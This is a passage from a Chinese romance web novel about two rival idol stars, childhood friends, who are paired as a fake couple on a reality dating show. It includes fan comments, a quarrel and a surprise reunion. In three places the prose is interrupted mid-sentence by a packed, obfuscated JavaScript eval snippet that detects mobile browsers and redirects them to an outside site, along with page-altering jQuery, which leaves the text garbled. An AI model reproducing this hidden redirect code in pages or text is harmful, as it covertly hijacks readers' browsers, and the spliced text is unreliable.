《和直男竹马一起上恋综后》 1. 对家 #松穆林露秋 双人舞# #松穆林露秋 最新合作舞台公开# #松穆林露秋# ...... 傍晚,正是流量巅峰的时候,原本平平无奇的热搜榜随着一条视频的公开被彻底引爆。 视频总长只有两分多钟,开头先是一片昏暗的灯光,过了几秒,两道高挑的身影踩着鼓点从舞台两边缓步入场。 两人步调一致,动作间衣服随之摆动,勾勒出流畅紧实的肌肉轮廓,灯影幢幢,连带着模糊不清的面容都染上几分暧昧缱绻。 舞美布置得很简洁,只在中央竖立了一面巨大的玻璃,将整个舞台分割成清晰的两块。 下一秒,音乐突变,灯束紧跟着落下,玻璃两边的身影卡着节拍抬手、舞动,动作优美却不失力道,牢牢锁住了所有人的视线。 两人的舞蹈呈镜面状,饶是发力习惯相异,依旧显示出了别样的融洽和谐,仿佛早已磨合了千百遍。 人声出现,画面再次变幻,松穆与林露秋抚上玻璃,四目相对,掌心贴合,灯光划过两人眉眼,映出两双炽热的眸。 视线勾连,一低一高两道声音轻声和着,林露秋在这时忽然倾身贴近,他唇角轻勾,含水般的目光停留在松穆的眉骨,扫到唇珠,最后悠悠转回对方深色眼底。 有无数双眼睛正在看着他们,但只有林露秋清晰地看到了松穆眼中闪过的迷离怔愣,他喉间于是泄出一声轻笑,被淹没在了震耳的尖叫中。 他们被阻隔着,哪怕贴得再近,触碰到的也只有冰凉的玻璃,松穆的喉结不住滚动,拼尽全力按捺下想要握住对方的手臂,心跳如雷。 音浪愈高,舞姿纠缠,玻璃两面是愈发滚烫缠绵的氛围,两人的注意力似乎全然被对方夺去,一边试探,一边接近,却始终分毫不让。 终于,鼓点渐消,舞台周围落下漫天水幕,将两人的身影一同淹没。 视频结束。 【我嘞个老天,看到词条的时候我还以为自己出现幻觉了,你说这俩人是谁?林露秋和谁?松穆和谁?】 【松穆林露秋 合作...... 大妹子这还是中文吗】 【不开玩笑,我的表情从看到词条到看完视频就没变过,我感觉自己穿越了,这个世界不太真实】 【来早了,两家竟然还没打起来】 【我靠我靠我靠,这俩不愧是现役最牛ACE,舞台表现力绝了,这表情管理,这腰,这脸,斯哈斯哈】 【没人觉得好嗑吗,虽然全程没有肢体接触,但性张力好足】 【好磕?我怎么只感受到了暗流涌动,他俩是不是只存了要把对方比下去的心思】 【玻璃是为了阻止他俩互扇巴掌吗】 【我嘞个目光如炬啊,松穆每次抬手我都怕他竖中指】 【林露秋是不是没忍住想咬死松穆,我看到他贴上去了,还动了动嘴】 【林露秋很敬业,表现得很好/爱心欢迎大家关注我们小秋的新作品哦[图片]】 【#松穆舞台王者#穆哥辛苦啦,只能看到你/捧花】 【别人不知道,只知道宝宝跳得好[图片] 林露秋独美~】 【乐乐圈秒了】 【好神的舞台,就是可惜仙畜有别,要是没有小秋都不知道该怎么把这个视频看完】 【下家别虐恋,先关心关心你担合约到期有没有人要吧】 【笑死,究竟谁在虐恋,林露秋现役唯一五千万直拍拥有者,祺粉灌水都追不上】 【哦 那咋了[松穆代言图]/呲牙 某人就算是皇族也拿不到的代言】 【我才喝了口水,这两家就已经打到前排了】 【所以为什么松穆粉丝叫祺粉?】 【因为松穆是祺贵人】 【?】 【他在他们团排行第六,团花名叫瓜】 【6】 【所以真的没人磕他俩吗?我超话都申请好了『超话·松露』】 [回复数:3257] [此评论已被举报删除] . “啧啧啧,你看看你看看,这才过了多久,网上都已经开始怀疑你要跳槽到开缘了。”高羡刷着手机,一边看一边挤眉弄眼,“只是隔着块板跳了个舞他们就这么大反应,你说要是哪天扒出来你俩搁娘胎里就认识了,不得炸翻天?” 林露秋往高羡胳膊上糊了一巴掌,后者这才收起嚣张至极的坐姿,搓着发红的手臂,不情不愿腾出了位置。 “或许?”林露秋顺势窝上了沙发,他对外界的评价没什么兴趣,只道:“不过放心吧,爆不出来的。” 别说公众,就连公司内部都没几个人知道他们俩的关系。如果不出意外,他们甚至能把这件事情捂到退圈。 说到这个高羡就来劲了,也顾不上林露秋嫌弃不嫌弃,原地蹦了下,瞬间就凑到了对方脸旁,“不儿,为啥呀?我就搞不懂了,你俩大大方方的不行吗,非得整得跟私联一样,一起吃个饭都得躲狗仔,图什么,刺激?” 林露秋和松穆,圈内最著名的两位冤家,粉圈斗争经久不衰,出道八年,每一年都是两家粉丝的热恋期,其火热程度堪比后羿操刀前那同台竞技的十个太阳。 只是鲜少有人知道,林露秋和松穆是货真价实的竹马,两位的母亲还曾设想过给孩子定下娃娃亲。 “我要是你们直接二话不说,出道当天就往微博上哐哐丢合照,咋的啦,竹马是爱豆又不丢人,何况你俩现在这人气,合体完全一加一大于二的热度,偏偏就捂着藏着,隐婚啊?” 高羡的嘴一向不把门,他心直口快,想到什么就说什么,林露秋闻言轻轻“啧”了一声,表情有些古怪,但倒是没反驳。 他抿了口酒,屈膝坐着,纤瘦的手腕搭在膝头,随意晃荡,杯中液体随之打旋,在灯下折射出细碎鳞光。 “我和他不适合在台前走得太近。”半晌,林露秋开口,他目光微垂,鸦羽般的睫毛遮去了大半眸光,无端显出几分冷寂。 虽说林露秋和松穆都有极为庞大的粉丝群体,但两家到底积怨已久,要是突然在大众前表现得太过亲近,最先创到的总归是粉丝。 毕竟恨比爱长久。 高羡读懂了他的未言之意,于是哑然。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960318|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴笨,不知道怎么哄人,索性拿起酒满上,跟林露秋两个人喝了个尽兴。 一直到夜半才离开。 人一走,才后知后觉屋内静得有些过分,就连家电运转的声都寻不到,一切都是沉寂着的,仿佛与热闹完全隔绝了开来。 弯月高悬,全面屏的落地窗染上了城市独有的霓虹光彩,远处是玓瓅的车水马龙,映在眼底,像是覆了层朦胧的膜。 林露秋把自己发软的身体陷进沙发,仰着头,思维混沌。 脑海中时不时闪过另一个人的身影,有时是孩童的稚嫩面孔,有时又是台上精致耀眼的明日之星,时空交叠,叫他甚至开始分不清今夕何夕。 他们的生活实在是被对方侵入得太彻底了。 逃不开也避不掉。 林露秋阖着眼,揉了揉胀痛的额角,酒精已经开始侵蚀他的意识,全身都软绵绵的,困顿又疲倦,使不上力。 正打算就这么凑活着对付一觉,门口猝然响起了一道清脆的电子提示音。 有人在开门。 声音在寂静的房中显得格外明显,林露秋下意识抬头,视线还没聚焦,便直直撞进了某个人的眼底。 松穆没打一声招呼,就这么堂而皇之地杀了过来。 他轻车熟路地换了鞋,朝林露秋走近。 林露秋姿势都没动,依旧没骨头似的躺着,他对松穆太熟悉了,熟悉到单是见到人就觉得放松,偏偏心跳与理智作对,随着两人距离的缩减,慢慢失了频率,愈跳愈快。 林露秋不自觉缩了下腿,将睡裤下露出的一截白皙脚踝藏起来,像是要以此来汲取安全感。 可松穆眼尖,余光瞥到林露秋的动作,先一步伸手握了上去,他人高,手也大,虎口正好圈住林露秋的脚踝,指腹摁着柔嫩的皮肤,摩挲了几下。 没等林露秋挣扎,又兀自松开了。 “喝酒了?脸都红了,我来的时候看到了高羡的车,这家伙真是,每次一来就灌你,下次别给他开门。” 松穆调高了空调的温度,他坐在林露秋身边,脱下外套盖在后者身上,还裹着帮忙捂了捂脚,他一套动作做得自然,丝毫没露出一点别扭的情绪。 似乎早已做过无数次。 林露秋的脚就这么搭上了松穆的大腿,身下是结实有力的肌肉,隔着薄薄的布料,对方的体温若隐若现,亲昵而暧昧。 许是醉意滋生妄念,林露秋看着看着,毫无预兆偏了下身。 他像是困倦过了头,平日泠然如泉的双眸半眯着上掀,唇角轻翘,缀着那被酒气蒸腾起的绯色,光是瞧着便足够惑人心魄。 遑论他的脚尖还不偏不倚,正好抵在了松穆的腹部。 林露秋靠着沙发,微长的头发蹭得些许凌乱,他一手在后撑着身体,一手则挑起外套的衣袖,勾弄间笑着问道,“明天不是还有行程么,怎么过来了?” 他喝了不少,此刻嗓音发哑,听在耳中,就宛如一盏经过烧制的玻璃,软烫透亮。 松穆的喉结滚动,没有第一时间回答。 因为他感受到,紧贴腹部的那只脚尖,正若有似无地,对着他磨蹭。 2. 冷战 松穆肌肉紧绷,没忍住闷哼出声,全身的感官好似都集中在了一处,呼吸渐重。 林露秋的举动着实在他的意料之外,松穆大脑瞬间宕机,失去了思考的能力。 理智告诉他应该立刻制止林露秋的作乱行为,身体却生不出任何抵抗的想法,反倒不自觉收紧了锢在林露秋踝上的手,青筋虬结凸起,绕着分明的骨节,好似覆在皮肉下的锁链。 偏偏始作俑者还一副无知无觉的模样,眼波潋滟,直勾勾盯着他看,林露秋穿着睡衣,衣领宽大,手臂撑起时锁骨的轮廓便更为明显,松穆余光一瞥,就瞧到了其上晃过的一点红痣。 林露秋又靠近了些,他身上还残留着果酒的香气,混着沐浴露的味道,融成了一股独有的气息,像是在唇齿间绽开的饱满果实,多汁而馥郁。 叫人犬牙发痒。 “来找你......问合同。”松穆望着林露秋的脸,低声开口,他错觉自己也有些醉了,否则怎么会这么燥热烦闷。 林露秋这时已经坐了起来,他换了个姿势,顺势从松穆手中抽回自己的脚,小腿随意盘起,膝盖同松穆的靠在一处,上半身则侧趴在沙发靠背,偏头问:“《恋爱记录手册》?你已经知道了?” “嗯。” 谈起这个,萦绕在两人身侧的暧昧气息淡了几分,松穆眼神逐渐清明,无暇再顾及其他,正色开口。 “我不知道为什么你一定要签下这个合同,但我的态度始终不变,这个综艺从方方面面来看都不适合你。趁现在宣发还没做,还有转圜的余地,和那边联系相关赔偿事宜,后续我能处理。” 松穆的语气并不冲,但态度强硬。 认识这么多年,他基本不会插手林露秋的工作,只是这次节目性质特殊,不然松穆也不至于赶在航班前还专门来跑一趟。 《恋爱记录手册》,一档由欧站内部筹备的男同情侣恋综,没有宣发,没有赞助,更没有经费,开拍在即但是几乎没在外界露出一点风声。 松穆得到消息后调查过一次,节目的制作团队很稚嫩青涩,PD据说只是一个刚毕业一年的富家大小姐,这次拍综艺纯属是玩票性质,家里意思意思到处打点了下,才凑活出一个项目。 加之节目嘉宾基本全是素人,想也知道没什么看头,于是皆鎏的老板抖了个机灵,直接把合约到期的林露秋塞了过去,一来是膈应人,二来还能卖个顺水人情。 换句话说,林露秋就是这个节目的吉祥物,等后期一抬,无论发生什么,只要镜头给到了林露秋那就是话题,活生生的流量和热度。 况且同性可婚的政策在前段时间才刚刚落地,社会风向仍旧敏感,林露秋作为爱豆参演这类综艺,多少会对粉圈产生冲击。 届时公众视线聚焦,林露秋又得好一阵子不得安宁。 光是这样也就罢了,偏偏因为这档综艺“恋综”的定位,林露秋要想参演,还得夹带一层别的身份,即前来观摩学习的“见习情侣”。 虽然松穆不知道谈恋爱有什么好见习的,但他知道情侣不可能只有一个人,这代表了在综艺录制期间,林露秋不仅要和三对情侣共住一屋,还即将拥有一个同进同出的假男友。 尽管理智上告诉他这些都没什么,可每每想起,整个人还是会不自觉变得焦躁郁闷,喉咙发堵。 松穆想象不到林露秋和七个陌生人住在一起会是什么样的场景,二十多年的生活经验让他编不出任何能够安慰到自己的话。 就这么一个自己晚一点回消息都会发脾气的大少爷,娇气又挑剔,松穆怎么可能放得下心? 两人不是第一次谈论这个话题了,但林露秋表现出的态度一直很奇怪,含糊不清。直到方才,松穆收到消息,才知道这家伙已经把合同都签完了。 松穆无法理解。 林露秋:“不用了,我不会违约的。”他语气淡淡。 “为什么?你至少也该给我一个理由吧?”松穆拦住了想翻身离开的人,长臂一伸,把林露秋困在了沙发转角。 “多大的人了怎么还一发脾气就乱跑?”松穆略显无奈,托着林露秋的下巴去看他的表情,“幼稚鬼,别板着脸了,我在跟你讲道理呢,又不是训话,快笑一个。” 林露秋一把拍掉他的手,偏头不看人一眼,“你才幼稚。” 这就是还不想说实话了。 松穆搞不懂了,“这又不是什么特别棘手的事情,你就算现在把你老板拎起来打一顿也有爸妈兜底呢,你究竟在和谁较劲?” 林露秋眼皮一挑,睨他,“我闯的祸,让你爸妈善后?” “我爸妈不就是你爸妈?” 林露秋被他理直气壮的反问冲得额角一跳,“你......我能处理好的事麻烦他们干什么?!” “问题就是你处理不好啊。”松穆也侧过身,半跪在沙发上,高大的身影压下,堵得林露秋想不看他都难,“还是说你给的方案就是去参加那种节目?” 林露秋表情不虞,“什么叫‘那种节目’?我正儿八经接的邀约怎么到你嘴里就变了味了?” “我这么说怎么了?”松穆被他这幅油盐不进的模样气笑,“这节目从头到尾就是个烂摊子,你敢说你乐意去?” 林露秋:“我乐意。” “我不乐意!”松穆想也没想,“你难道还想叫我在屏幕前看你和假男友上恋综?做梦!” 林露秋一震,下意识去看他的脸色,松穆瞧着还算正常,但唇线已经抿成了一条,显然是动了火。 两人都不是温柔的性子,经常聊着聊着就吵起来了。 饶是清楚松穆并没有那个意思,可这话落在林露秋耳中,还是多了层旁的味道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960319|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他想问对方是不是吃醋了,话到嘴边,换了种说法,“松穆,你是以什么身份对我说的这些话?” 林露秋只是疑惑,但此时此刻松穆听着,不免一声冷哼。 “我什么身份?”松穆指了指自己,觉得荒谬极了,“我拿你当亲兄弟才大老远跑过来说这么多,你什么意思,觉得我不够格了是么?” “不是——” “不是什么不是?”松穆打断他,“你就是没把我当自己人,不然签合同这么大的事还能瞒着不告诉我?你以前和我吵就算了,这次我哪里做错了吗?林露秋,要不是看你为难我会拦着你吗?” 他要是真的喜欢,松穆就算心里再不舒服也不会几次三番劝阻。 “而且你和高羡喝酒都不找我。”松穆想到这更是郁结于心,他直起身,一字一句掷地有声地控诉:“你根本不把我当哥们!” “......” 林露秋被他rap似的两段话噎得血压都高了,他这儿也懒得解释了,索性闭着眼深吸了一口气,努力稳住声音:“你再说一遍,你把我当什么?” “亲兄弟!!!” 别说松穆自己了,他全家都把林露秋当自己孩子养,这么些年掏心掏肺,林露秋却反过来问他是什么身份? 松穆眼睛都红了。 他吵上了头,没控制好音量,三个字在房间里甚至出现了回声,飘飘悠悠在林露秋耳边晃了好几遍。 这下再也忍不住了,林露秋也不知道哪来的力气,一把推开松穆,打开自家的房门,“滚!” 随着这一声落下,空气仿佛都凝滞了。 哪怕不抬头,林露秋也能猜得出松穆此刻怔愣的神情,但他这会儿还存着别的心思,只好硬着心肠,把准备好的台词一股脑全都吐了出来。 “我已经是成年人了松穆,你能不能别再像小时候那样什么事都要来插手?”林露秋像是懒得和他再吵,有气无力地偏过了身,不再开口了。 松穆的眼里几乎能烧出火,他胸膛剧烈起伏,定定注视着林露秋,半晌,当视线落在了他单薄瘦削的肩颈时,终是咽下了口中所有的话。 过了片刻,林露秋听到身旁走过一道沉重而急促的脚步,紧跟着,是震耳的关门声。 “嘭——” 仿佛无言的怒意,又带着股说不清道不明的委屈。 松穆离开了。 室内重归寂静。 林露秋捂着额,靠在玄关处深深叹了口气。 ......这下这家伙就真的不会再插手了吧。 林露秋走回客厅,捞起松穆落下的外套盖在自己身上,就这么一点点缩进了沙发。 他嗅着鼻间熟悉的气味,不知道在想些什么。 林露秋和松穆,认识二十七年,在今天迎来了生命中第数不清是多少个的冷战期。 3. 意外 “叮铃铃——” 尖锐的铃声打断了梦境,强硬地将还未清醒的意识拉回现实。 迷迷瞪瞪把闹钟关掉,林露秋眼皮还没睁开,身体已经从床上爬了起来。 他游魂似的一路飘到卫生间,打开龙头,直到透凉的冷水泼到了脸上,整个人小幅度抖了抖,这才算是彻底醒了。 林露秋站在镜子前,叼着牙刷开始洗漱,许是被昏沉的梦境影响,他站着站着思绪便开始飘远,脑海中不自觉浮现出松穆的面孔。 他在心里默默道。 ......七天。 这是他们冷战的第七天,七天内对方一条消息都没给他发,林露秋上一次知道他的动向还是看的粉丝微博。 说是人在隔壁市,正在拍摄。 回想起那天的谈话内容,林露秋郁结的一肚子气又咕噜噜冒了半瓶出来,他眉头一拧,泄愤般点开与某人的聊天栏,意料之中毫无动静,最后一条消息被生硬地遏止在了那个晚上。 松穆的朋友圈倒是没开屏蔽,连着几天都是满满的九宫格,风景中夹带了几张怼脸的自拍,角度奇怪,也就脸挑不出错,否则不知道有多好笑。 下方的定位还是隔壁市,几近刷屏的照片组勾勒出一场异常丰富的旅行,林露秋甚至都能以此脑补他们的行进路线。 挨个点开看了眼,林露秋一只手随意地举着手机,眼皮耷拉着,像是毫无所谓,另一手却一刻不停的双指放大、移动、划走......过了几秒再划回来重新来一遍。 直到在某一个不起眼的角落捕捉到松穆和同组艺人勾肩搭背的倒影,这场突如其来的批阅行为才终于得到暂停。 虽然知道那位艺人前辈已婚有娃,也知道这只是聚餐后象征性的摆拍,但一想到松穆在这七天里吃好喝好玩好,林露秋就难以避免地咬紧了牙。 也不是生气,就不太痛快。 林露秋盯着某图中松穆的笑脸看了许久,最后嘴一瞥,切回聊天主页,随后指尖一抹,熟稔地将人送进了黑名单。 某个一周没动静的小框自动消失在了眼前,林露秋的心情这才有所好转。 他对着镜子撩开微湿的额发,缓缓地扯出了一个略显恶劣的笑。 哎,也不知道这次松穆会打算怎么哄自己呢? 开始期待了。 ^^ 今天是林露秋与《恋爱记录手册》节目组见面的日子,由于身份的特殊性,他需要比其他嘉宾提前几天到达录制现场和搭档见面磨合。 说是磨合,但终归也是节目的一环,所以对林露秋来说,他的正式录制已经开始了。 《恋爱记录手册》的录制地点在S市的另一头,开车大概两个小时左右,路况不怎么好,一路上不知道踩了多少次刹车,颠簸得林露秋头晕。 他化完妆就没什么精力动弹了,婉拒了助理递过来的早饭,靠在窗边闭目养神。 因为录制的是生活类的综艺,妆容并不需要太浓,化妆师只简单加深了林露秋的五官轮廓,调理了下气色就算结束。 身上穿的是私服,一件相较于他体型略显宽大的无帽卫衣,下摆缀了一根印有字母的黑白带子,遥遥看上去像是条小尾巴,下身搭了条深色牛仔裤,膝盖处还破了俩大洞。 不是林露秋平时的风格,他自己的衣服色调都偏亮,简约而清爽,很有高冷学长的范儿,今天出门前也不知怎么的,他余光一瞥,拎了套衣柜里最突兀的出来。 不像是去参加恋综,倒像要去后街镇场。 摇摇晃晃中,林露秋忍不住开始胡思乱想,松穆会不会在休息的时候偷偷摸摸搜自己的消息?要是等综艺播出来,发现自己身上穿着的是他的衣服,又会是什么心情? 总不见得还是觉得他们兄友弟恭,以至于就连上恋综都要带一件哥们的衣服睹物思人? 啧。 松穆可能真的想得出来。 也就只有他能这么说服自己了。 林露秋拢了拢衣袖,微不可查地叹了口气。 死深柜。 . 林露秋有些晕车,睁眼的时候面色都隐隐发白,被化妆师抓着赶紧补了一层妆。 行李交给了助理,林露秋抓着手机,一身轻装下车,开门时差点被眼前的景色晃了眼。 为了拍摄,《恋爱记录手册》专门包了一座别墅,林露秋先入为主以为节目组草台班子,准备的场地估计也是能省就省,没曾想环境竟然出奇得不错。 占地很大,周边也打扫得干净,就连节目组自用的棚都安置得离主屋有些距离,丝毫不显逼仄紧促。 别墅地上有三层,外圈绕着红砖石砌成的楼梯,中庭自带喷泉,小路应该是重新翻修过,两旁新栽了许多花卉,空中弥漫着淡淡的花香。 后院隐约可见一个面积可观的草坪,中央安置了一座露天花园,植被打理得很美观。 工作人员已经在门口等着了,胸口挂着工作证,正站在标有【记录之屋】四个字的木牌旁。 见林露秋到了,赶忙上前,“林老师,这里这里!”他把工作牌递给林露秋看,边走边道,“我姓王,您叫我小王就行了,今天没什么别的安排,就是让您和您的...呃,搭档见一个面,稍微加深一点了解。节目组这边会准备一些问题让两位回答,算是补充一下身份设定。” “因为还没正式开拍,别墅内部还不能开放,这几天得委屈一下老师和我们一起住后边的小院了。哦不过您放心,我们卫生都打扫得很干净的,如果在入住过程中有什么不满意的地方可以随时提出,我们这边一定尽力配合。” 路上零零散散走过几个工作人员和自己问好,林露秋扫了眼对方的样貌,发觉大多都是年轻面孔,青涩得很,光是对视都能紧张。 他难免感到有些新奇。 倒是很久没和这么一大群小孩儿一起工作过了。 林露秋笑了笑,“好,辛苦了。” “哪里哪里,还是老师您辛苦。” 说话间两人来到了另一栋建筑,顺着楼梯拐了个弯,看到一个贴了张写着“后采室”纸张的房门。 周边已经清过场了,此刻偌大的走廊只有他们两个人的身影,林露秋正想迈步,忽然发觉身旁姓王的这位小工作人员好像有些紧张。 原先林露秋还以为是因为自己,现在看来似乎并非如此。 莫非是节目出了差错? 他挑眉:“还有什么问题吗?” 小王眼神都在飘,闻言擦了擦额头上冒出的虚汗,矢口否认:“没有!啊,也不是完全没有......” 这个年纪藏不住事,小王搓了搓脖子,不知道该不该提醒,“就是林老师,和您搭档的那位嘉宾也到了。” 说完,他小心觑着林露秋的反应。 林露秋倒是没什么感觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960320|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他之前就从经纪人那儿知道了他那假男友的身份,是隔壁开缘娱乐刚出道的一个小演员,十八九岁的年纪,笑起来还有酒窝,瞧着嫩生生的。 经纪人当时就没忍住和林露秋吐槽,说开缘真是会落井下石,非得把一个粉丝都没几个数的新人塞进来和林露秋配对,摆明了不就是恶心人吗? 弄到最后倒是成林露秋帮别人奶孩子了! 开缘娱乐,公司大门就开在皆鎏的正对面,两家公司从开业初期就一直不对付,连带着旗下艺人都相看两厌,除非大型场合,否则不会和对面同时出席。 这条都快成业内的潜规则了。 谁能想到会在这么一个小综艺里破例。 林露秋如今半只脚都踏出了皆鎏娱乐,前东家的爱恨情仇对他而言实在没什么需要在意的,他淡淡“嗯”了声,算是了解,随后抬手,干脆利落地一把推开了房门。 房门打开,最先泄出的是阵阵繁忙的脚步和窃语声,紧跟着,暖调的光洒了过来,将视野蒙上一层薄雾。 林露秋唇角挂着笑,正要问好,余光一瞥,毫无防备的,就这么同房间中央某位刚做好妆造准备起身的人对上了视线。 “......” 原本脱口而出的话语顿时卡在了喉间,一个音都发不出来。 四目相对,一片鸦雀无声。 林露秋愣住了,周围所有人紧跟着愣住了。一时间原本嘈杂的空间好似被人生生摁下了暂停键,没有人动,但也没有人闲着,林露秋甚至能感受到在自己身上停留的无数道炽热视线。 还是小王最先反应过来,哒哒两步小跑上前,引着林露秋介绍,“林老师,这位就是松穆老师,两位应该认识吧,毕竟前不久才合作过,哈哈,哈......” 几声尴尬的笑声拉回了林露秋的思绪,但气氛依旧诡异得可怕,他站在门口,盯着不远处的松穆,笑容一点点消失了。 松穆的表情也差不多,他先前还在和化妆师聊天,这会儿唇瓣抿紧,眸光沉沉。 温度再度冻结。 这下开朗如小王也说不出话了。 松穆先林露秋一步走上前,伸出手,勾唇,“认识,熟人。” 林露秋低头看着他的手,麻木地握了握。 恍惚中,似乎听到了一阵阵抑制不住的抽气声。 “嘶——” 林露秋嘴角一抽,下意识攥紧了手指。 然后换来了一声来自头顶的抽气声。 “嘶......” 动静不大,但是传播面积很广。 林露秋觉得,要是目光真的如炬,他现在应该已经涅槃了。 他松开松穆的手,蜷着把温热的掌心缩进衣袖中。 没再折磨兀自焦灼的小王,林露秋颔首:“好久不见。” 松穆闻言眸光一动,摩挲着指腹,闷闷“嗯”了声。 现在外人太多,不方便说话,两人默契地什么都没提,跟着工作人员的引导往前走。 后采室被分割成了两部分,里面还有个小房间,装扮得很温馨,PD还没来,工作人员对他们说了句稍等,随后关上了门。 两人转眼间变成了独处。 确认四周的镜头都还没开,林露秋转身,倏地一把握住松穆的手腕。 外面还有人,他控制着音量,却怎么都藏不出话语中的意外:“——你怎么来了?!” 4. 问卷 松穆怎么来了?!! 林露秋问出口的瞬间就隐约知道了答案。 但他依旧不敢置信,半梦半醒般开口:“你、你是来探班的?看你师弟......?” 见习男友既然是开缘的,松穆作为公司一哥来撑个场也是正常的。 嗯。 林露秋在心中暗自点头。 随后更加抓狂。 ......可是根本就不正常啊! 他了解松穆,这家伙对公司的归属感不比自己高多少,遑论特地跑来只为给后辈探个班。 是以这话说出来他自己都不信。 但除此之外《恋爱记录手册》还有哪里是值得松穆亲自出面的吗? 林露秋思来想去,却始终没法把脑海中断了的那根弦接上。 他难得有些迟疑。 松穆顺着对方愈来愈重的力道,一点点靠上了门板,没完全合上的锁扣发出“咔哒”一声轻响,被淹没在了急促的心跳中。 没给林露秋留多少独自凌乱的时间,松穆反问:“你觉得呢?我是来看谁的?” 他面颊还绷着,语气也格外生硬,像是来兴师问罪。偏偏掌心悄么声地搭在了林露秋的侧腰,没放上去,顾忌着什么似的,只虚虚卷住了那根飘悠的带子。 等了半天没见林露秋吱声,松穆自己先绷不住了,他讨饶般卸了眉眼间绕着的恼意,微微垂头,“笨,我当然是来看你的啊。” “哦,说看也不合适,我算是来投奔你的,之后这节目由我们俩搭了。”松穆轻飘飘的,落了个平地惊雷。 这件事他其实早就有想法了,既然林露秋不肯走,他又不可能置之不理,索性和经纪人商量了下,把自己打包送过去。 反正都是开缘的艺人,他总不见得还不如自己师弟吧? “我们......不是,那你师弟呢?”林露秋搡了他一下。 “怎么又我师弟了?句句不离那小子,你还挺期待和他搭的呗?”松穆不悦,扯着飘带把林露秋拉进了自己怀里,“还有你这身......林露秋,你都知道是和我师弟合作了竟然还穿我的衣服?” 回想起方才看到林露秋的第一面,松穆的眉头皱着皱着又扬起来了,暗爽道,“就......这么惦记我啊?” 他换了个姿势,用臂弯勾着林露秋的脖子,嘴角的弧度止都止不住,“我就知道,你小子最嘴硬心软了,嘿嘿,好哥们!”末了还不轻不重往林露秋肩头来了一拳。 “......” 林露秋被他压着整个人晃了晃,跟着握紧了拳头。 他还冷着脸,松穆却早就自己把自己哄好了,抱着林露秋左看右看,爱不释手。 松穆对林露秋一向不怎么瞒事,一张嘴就把整件事的来龙去脉交代了个干净。 “......反正就这样,我也没欺负小孩,给人推荐了几个本子,要是磨好了指定比来综艺出彩。” 林露秋问:“什么时候定下的?” 松穆想了想:“四五天前吧,挺快的。” 开缘的风气比皆鎏更野,到了松穆这种咖位基本就放养了,经纪人都管不住,而《恋爱记录手册》又不可能拒绝松穆,全节目组恨不得把人直接绑架过来,生怕夜长梦多,因而流程走得格外快。 四五天前,也就是说松穆这边刚和他吵完,一转头就开始琢磨着怎么和师弟进行置换反应了。 林露秋又想叹气了。 感情那晚根本就是白吵了一架! 他就是不想再麻烦松穆一大家子为自己跑动跑西才出此下策,连带着对皆鎏都服了次软,松穆倒好,一骂直接给骂成假男友了。 林露秋有气无力地捏了捏眉心。 罪魁祸首对他坎坷的心路历程一概不知,此刻亲亲热热地拥着他,嘘寒问暖。 “头疼吗?怎么看你脸色不太好?”说着,指腹覆了上去,缓缓按揉起来,“没睡好还是晕车?要不要坐下来休息会儿?” 林露秋唇边一软,他掀眸,瞧见了松穆递来的话梅。 松穆哄小孩似的,“含着吧,嘴里有点酸味能舒服点。” 林露秋启唇咬住,舌尖抵上裹着的酸粉,轻轻舔了下,才将那颗话梅含进唇齿。 动作间唇瓣擦过松穆的指节,留下一点唇釉的亮泽艳色。 温热的,湿濡的。 像一个缱绻的吻。 不避不让对上松穆直勾勾的眼神,林露秋牙尖咬着话梅磨了磨,而后倾身,慢慢缩短了两人间的距离。 直到鼻尖相抵,只差一点就能亲上去时,林露秋才停下,他伸手,含情脉脉地抚上松穆的脸颊,笑着吐出了一句古里古怪的话。 “松穆,你对我可真好,继续保持下去的话,我相信我们一定能成为一辈子的好兄弟。” 末尾几个字被含恨重读。 他眉眼是弯的,心情却很复杂,既觉得眼前这人傻,又觉得傻得倒也挺可爱。 松穆总感觉这句话听起来别扭,他就算再迟钝此刻也微妙地察觉出哪里不太妙。 就仿佛他在无意间又离什么东西远了一点。 是什么呢? 他能和林露秋在一起录综艺,难道不是一件皆大欢喜的好事吗? 嗯......想不通。 . PD左脚刚踏进门就被屋内古怪的氛围糊了一脸。 节目组的两尊大佛正端坐在沙发上,一左一右,毫无交流。距离虽然不远,却也远称不上亲昵,只剩一截拖长的衣服飘带横在了中间。 见有人进来,两人同时抬头,把PD都吓了一跳。 她忍不住腹诽,把这俩安排在一块,应该不会出事的......吧? 好在林露秋和松穆都没有为难别人的癖好,收好多余的情绪,规矩礼貌地起身问了好。 先前后勤那边突然出了点问题,PD因此耽搁了点时间,她是跑来的,额发略显凌乱,站在原地平复了会儿呼吸才开口介绍:“两位老师好,我姓顾,叫顾一默,也是我们《恋爱记录手册》的总负责人,老师们平时叫我小顾就好。” 